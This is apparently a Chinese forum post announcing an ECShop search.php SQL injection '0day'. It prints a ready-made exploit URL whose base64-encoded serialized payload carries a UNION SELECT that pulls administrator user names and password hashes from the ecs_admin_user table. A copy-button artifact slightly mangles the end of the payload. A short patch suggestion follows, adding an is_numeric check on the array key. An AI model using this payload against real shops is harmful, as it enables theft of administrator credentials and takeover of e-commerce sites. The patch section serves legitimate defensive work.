ECSHOP惊爆search.php的注入漏洞0day

华夏久久

search.php的注入漏洞 ecshop search.php的注入漏洞-爆出管理员密码！
利用语句：
search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319pTXcopyd-code

解决方案
search.php

大概源码300行左右

1. if (is_not_null($val) )

复制代码

修改为

1. if (is_not_null($val) && is_numeric($key))
   

复制代码